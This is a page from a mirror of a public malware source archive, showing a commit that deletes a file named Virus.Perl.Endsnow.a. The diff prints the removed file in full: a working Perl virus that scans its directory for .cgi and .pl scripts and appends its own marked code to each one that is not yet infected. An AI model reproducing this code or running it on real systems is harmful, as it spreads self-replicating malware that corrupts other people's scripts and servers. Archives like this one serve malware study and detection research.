ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-23 03:46:10 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Delete Virus.Perl.Endsnow.a

Browse Source 
na
This commit is contained in:
vxunderground 2020-11-14 01:36:25 -06:00 committed by GitHub
parent 586be317a7
commit 84dbcf510b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 0 additions and 31 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

31
Perl/Virus.Perl.Endsnow.a
View File

@ -1,31 +0,0 @@
opendir(DIR, "."); #open the directory this program is in
@FILES = readdir(DIR); #get the file names
closedir(DIR);
## Look for programs to spread to (limited to the current directory for now)
for ($i = 0; $i < @FILES; $i++) {
if (substr($FILES[$i], length($FILES[$i]) - 4) eq ".cgi" || substr($FILES[$i], length($FILES[$i]) - 3) eq ".pl") {
$TARGETS[$ii] = $FILES[$i];
$ii++;
}
}
for ($i = 0; $i < @TARGETS; $i++) {
open(FILE,$TARGETS[$i]);
$file = join("",<FILE>);
close(FILE);
if (index($file, "## Perl Virus Begins Now ##") == -1) { ##the file isn't infected, INFECT IT!! (append to it)
if ($me eq "") { #what we want to write hasn't been copied yet, this is a considerate virus, it could just keep copying itself each time and slow your computer down (and become a couple hundred bytes smaller)...
open(me,$0); #opens THIS program
$me = join("",<me>);
$start = index($me,"## Perl Virus Begins Now ##");
$me = substr($me, $start, rindex($me,"## Perl Virus Ends Now##") + 24 - $start);
close(me);
}
open(FILE,">>$TARGETS[$i]");
print FILE $me;
close(FILE);
}
}
closedir(DIR);